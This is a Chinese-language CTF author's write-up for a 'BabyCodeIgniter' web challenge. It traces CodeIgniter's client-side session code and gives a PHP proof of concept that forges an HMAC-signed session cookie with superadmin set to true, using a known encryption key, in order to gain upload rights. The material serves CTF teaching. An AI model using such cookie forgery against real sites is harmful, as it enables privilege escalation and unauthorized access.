CTF-BabyCodeIgniter-Web出题记(1)

Contents

CodeIgniter

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
$sessid = '';  
while (strlen($sessid) < 32)  
{  
    $sessid .= mt_rand(0, mt_getrandmax());  
}  
$encryption_key="ksd92";  
$data = array(  
    'username' => 'huahua',  
    'password' => 'huahua',  
    'is_logged_in' => true,  
    'session_id'	=> md5(uniqid($sessid, TRUE)),  
    'ip_address'	=> '127.0.0.1',  
    'user_agent'	=> 'huahua',  
    'last_activity'	=> time(),  
    'superadmin' => true  
);  
  
$cookie_data = serialize($data);  
$cookie_data .= hash_hmac('sha1',$cookie_data,$encryption_key);  
echo urlencode($cookie_data);  
?>  

WriteUp

http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/
根据此篇文章改编
利用弱口令admin/123456登录之后,发现并没有上传权限,探究一下源码中的登录逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	function validateuser()  
	{  
		$username=addslashes($this->input->post('username'));  
		$password=addslashes($this->input->post('password'));  
		$query=$this->db->query("SELECT * from user WHERE username='$username' and password='$password' limit 1");  
		  
		if($query->num_rows() > 0)  
		{			  
			$data = array(  
				'username' => $username,  
				'password' => $password,  
				'is_logged_in' => true,  
				'superadmin' => false  
			);  
			$this->session->set_userdata($data);  
			  
			return 1;					  
		}  
		else  
		{  
			return 0;  
		}		  
	}  

登录成功之后,利用设置了$this->session->set_userdata($data);

1
2
3
4
5
6
$data = array(  
	'username' => $username,  
	'password' => $password,  
	'is_logged_in' => true,  
	'superadmin' => false  
);  

再来看上传文件的源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
	public function upload(){  
		$super = $this->session->userdata('superadmin');  
		if($super === true){  
			echo "bypass";  
			if (! $this->upload->do_upload('file')) {  
				$error = array('error' => $this->upload->display_errors());  
				var_dump($error);  
			} else {  
				$data = array('upload_data' => $this->upload->data());  
	  
				var_dump($data);  
			}  
		}else{  
			echo "You are not a super administrator!!!";  
		}  
	}  

检查了这个地方

1
2
3
4
	$super = $this->session->userdata('superadmin');  
	if($super === true){  
		...  
	}  

但是在登录成功后,设置的superadmin并非true而是false
所以并无上传权限,但是登录成功之后,返回给我们了 cookie,而非PHPSESSID,验证信息存储在了客户端,而非服务端,就导致我们可以篡改。
来看一下生成cookie的代码逻辑
application/config/autoload.php中设置了自动加载session
$autoload['libraries'] = array('database','session','upload');
于是进入system/libraries/Session.php中进行查看,
首先会进入__construct()操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
public function __construct($params = array())  
	{  
		log_message('debug', "Session Class Initialized");  
  
		// Set the super object to a local variable for use throughout the class  
		$this->CI =& get_instance();  
  
		// Set all the session preferences, which can either be set  
		// manually via the $params array above or via the config file  
		foreach (array('sess_encrypt_cookie', 'sess_use_database', 'sess_table_name', 'sess_expiration', 'sess_expire_on_close', 'sess_match_ip', 'sess_match_useragent', 'sess_cookie_name', 'cookie_path', 'cookie_domain', 'cookie_secure', 'sess_time_to_update', 'time_reference', 'cookie_prefix', 'encryption_key') as $key)  
		{  
			$this->$key = (isset($params[$key])) ? $params[$key] : $this->CI->config->item($key);  
		}  
  
		if ($this->encryption_key == '')  
		{  
			show_error('In order to use the Session class you are required to set an encryption key in your config file.');  
		}  
  
		// Load the string helper so we can use the strip_slashes() function  
		$this->CI->load->helper('string');  
  
		// Do we need encryption? If so, load the encryption class  
		if ($this->sess_encrypt_cookie == TRUE)  
		{  
			$this->CI->load->library('encrypt');  
		}  
  
		// Are we using a database?  If so, load it  
		if ($this->sess_use_database === TRUE AND $this->sess_table_name != '')  
		{  
			$this->CI->load->database();  
		}  
  
		// Set the "now" time.  Can either be GMT or server time, based on the  
		// config prefs.  We use this to set the "last activity" time  
		$this->now = $this->_get_time();  
  
		// Set the session length. If the session expiration is  
		// set to zero we'll set the expiration two years from now.  
		if ($this->sess_expiration == 0)  
		{  
			$this->sess_expiration = (60*60*24*365*2);  
		}  
  
		// Set the cookie name  
		$this->sess_cookie_name = $this->cookie_prefix.$this->sess_cookie_name;  
  
		// Run the Session routine. If a session doesn't exist we'll  
		// create a new one.  If it does, we'll update it.  
		if ( ! $this->sess_read())  
		{  
			$this->sess_create();  
		}  
		else  
		{  
			$this->sess_update();  
		}  
  
		// Delete 'old' flashdata (from last request)  
		$this->_flashdata_sweep();  
  
		// Mark all new flashdata as old (data will be deleted before next request)  
		$this->_flashdata_mark();  
  
		// Delete expired sessions if necessary  
		$this->_sess_gc();  
  
		log_message('debug', "Session routines successfully run");  
	}  

首先会进行读取,如果没有接收到cookie,则会进入$this->sess_create();进行创建

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
	function sess_create()  
	{  
		$sessid = '';  
		while (strlen($sessid) < 32)  
		{  
			$sessid .= mt_rand(0, mt_getrandmax());  
		}  
  
		// To make the session ID even more secure we'll combine it with the user's IP  
		$sessid .= $this->CI->input->ip_address();  
  
		$this->userdata = array(  
							'session_id'	=> md5(uniqid($sessid, TRUE)),  
							'ip_address'	=> $this->CI->input->ip_address(),  
							'user_agent'	=> substr($this->CI->input->user_agent(), 0, 120),  
							'last_activity'	=> $this->now,  
							'user_data'		=> ''  
							);  
  
  
		// Save the data to the DB if needed  
		if ($this->sess_use_database === TRUE)  
		{  
			$this->CI->db->query($this->CI->db->insert_string($this->sess_table_name, $this->userdata));  
		}  
  
		// Write the cookie  
		$this->_set_cookie();  
	}  

会初始化一些值

1
2
3
4
5
6
7
$this->userdata = array(  
					'session_id'	=> md5(uniqid($sessid, TRUE)),  
					'ip_address'	=> $this->CI->input->ip_address(),  
					'user_agent'	=> substr($this->CI->input->user_agent(), 0, 120),  
					'last_activity'	=> $this->now,  
					'user_data'		=> ''  
					);  

接着调用了$this->_set_cookie();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
	function _set_cookie($cookie_data = NULL)  
	{  
		if (is_null($cookie_data))  
		{  
			$cookie_data = $this->userdata;  
		}  
  
		// Serialize the userdata for the cookie  
		$cookie_data = $this->_serialize($cookie_data);  
  
		if ($this->sess_encrypt_cookie == TRUE)  
		{  
			$cookie_data = $this->CI->encrypt->encode($cookie_data);  
		}  
  
		$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);  
  
		$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();  
  
		// Set the cookie  
		setcookie(  
			$this->sess_cookie_name,  
			$cookie_data,  
			$expire,  
			$this->cookie_path,  
			$this->cookie_domain,  
			$this->cookie_secure  
		);  

序列化传入的数组,接着序列化之后,拼接了一个需要密钥"加密的字符串",然后利用setcookie函数,设置了我们的cookie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$cookie_data = $this->_serialize($cookie_data);  
......  
$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);  
......  
setcookie(  
	$this->sess_cookie_name,  
	$cookie_data,  
	$expire,  
	$this->cookie_path,  
	$this->cookie_domain,  
	$this->cookie_secure  
);  

也就是说,我们只需要将登录成功后设置的 cookie 'superadmin' => false改为'superadmin' => true即可,上面说到没有 cookie 才会进行创建,有 cookie 则会执行sess_read()函数

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
function sess_read()  
	{  
		// Fetch the cookie  
		$session = $this->CI->input->cookie($this->sess_cookie_name);  
		// No cookie?  Goodbye cruel world!...  
		if ($session === FALSE)  
		{  
			log_message('debug', 'A session cookie was not found.');  
			return FALSE;  
		}  
  
		// HMAC authentication  
		$len = strlen($session) - 40;  
  
		if ($len <= 0)  
		{  
			log_message('error', 'Session: The session cookie was not signed.');  
			return FALSE;  
		}  
  
		// Check cookie authentication  
		$hmac = substr($session, $len);  
		$session = substr($session, 0, $len);  
  
		// Time-attack-safe comparison  
		$hmac_check = hash_hmac('sha1', $session, $this->encryption_key);  
		$diff = 0;  
  
		for ($i = 0; $i < 40; $i++)  
		{  
			$xor = ord($hmac[$i]) ^ ord($hmac_check[$i]);  
			$diff |= $xor;  
		}  
  
		if ($diff !== 0)  
		{  
			log_message('error', 'Session: HMAC mismatch. The session cookie data did not match what was expected.');  
			$this->sess_destroy();  
			return FALSE;  
		}  
  
		// Decrypt the cookie data  
		if ($this->sess_encrypt_cookie == TRUE)  
		{  
			$session = $this->CI->encrypt->decode($session);  
		}  
  
		// Unserialize the session array  
		$session = $this->_unserialize($session);  
		// Is the session data we unserialized an array with the correct format?  
		if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity']))  
		{  
			$this->sess_destroy();  
			return FALSE;  
		}  
  
		// Is the session current?  
		// if (($session['last_activity'] + $this->sess_expiration) < $this->now)  
		// {  
		// 	$this->sess_destroy();  
		// 	return FALSE;  
		// }  
  
		// // Does the IP Match?  
		// if ($this->sess_match_ip == TRUE AND $session['ip_address'] != $this->CI->input->ip_address())  
		// {  
		// 	$this->sess_destroy();  
		// 	return FALSE;  
		// }  
  
		// // Does the User Agent Match?  
		// if ($this->sess_match_useragent == TRUE AND trim($session['user_agent']) != trim(substr($this->CI->input->user_agent(), 0, 120)))  
		// {  
		// 	$this->sess_destroy();  
		// 	return FALSE;  
		// }  
  
		// Is there a corresponding session in the DB?  
		if ($this->sess_use_database === TRUE)  
		{  
			$this->CI->db->where('session_id', $session['session_id']);  
  
			if ($this->sess_match_ip == TRUE)  
			{  
				$this->CI->db->where('ip_address', $session['ip_address']);  
			}  
  
			if ($this->sess_match_useragent == TRUE)  
			{  
				$this->CI->db->where('user_agent', $session['user_agent']);  
			}  
  
			$query = $this->CI->db->get($this->sess_table_name);  
  
			// No result?  Kill it!  
			if ($query->num_rows() == 0)  
			{  
				$this->sess_destroy();  
				return FALSE;  
			}  
  
			// Is there custom data?  If so, add it to the main session array  
			$row = $query->row();  
			if (isset($row->user_data) AND $row->user_data != '')  
			{  
				$custom_data = $this->_unserialize($row->user_data);  
  
				if (is_array($custom_data))  
				{  
					foreach ($custom_data as $key => $val)  
					{  
						$session[$key] = $val;  
					}  
				}  
			}  
		}  
  
		// Session is valid!  
		$this->userdata = $session;  
		unset($session);  
  
		return TRUE;  
	}  

会利用密钥$this->encryption_key进行一个"加密字符串"的认证,这里的密钥需要在配置文件中$config['encryption_key'] = 'ksd92';

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
		// Check cookie authentication  
		$hmac = substr($session, $len);  
		$session = substr($session, 0, $len);  
  
		// Time-attack-safe comparison  
		$hmac_check = hash_hmac('sha1', $session, $this->encryption_key);  
		$diff = 0;  
  
		for ($i = 0; $i < 40; $i++)  
		{  
			$xor = ord($hmac[$i]) ^ ord($hmac_check[$i]);  
			$diff |= $xor;  
		}  

接着会反序列化字符串,验证是否有其中的值(session_id、ip_address、last_activity)

1
2
3
4
5
6
7
8
		// Unserialize the session array  
		$session = $this->_unserialize($session);  
		// Is the session data we unserialized an array with the correct format?  
		if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity']))  
		{  
			$this->sess_destroy();  
			return FALSE;  
		}  

验证完之后将会赋值给$this->data变量

1
2
3
// Session is valid!  
$this->userdata = $session;  
unset($session);  

那赋值给$this->userdata变量有什么用呢?在返回来看验证权限的函数
$this->session->userdata('superadmin');

1
2
3
4
	function userdata($item)  
	{  
		return ( ! isset($this->userdata[$item])) ? FALSE : $this->userdata[$item];  
	}  

正是返回了$this->userdata变量
于是乎构造poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
$sessid = '';  
while (strlen($sessid) < 32)  
{  
    $sessid .= mt_rand(0, mt_getrandmax());  
}  
$encryption_key="ksd92";  
$data = array(  
    'username' => 'huahua',  
    'password' => 'huahua',  
    'is_logged_in' => true,  
    'session_id'	=> md5(uniqid($sessid, TRUE)),  
    'ip_address'	=> '127.0.0.1',  
    'user_agent'	=> 'huahua',  
    'last_activity'	=> time(),  
    'superadmin' => true  
);  
  
$cookie_data = serialize($data);  
$cookie_data .= hash_hmac('sha1',$cookie_data,$encryption_key);  
echo urlencode($cookie_data);  
?>  

0%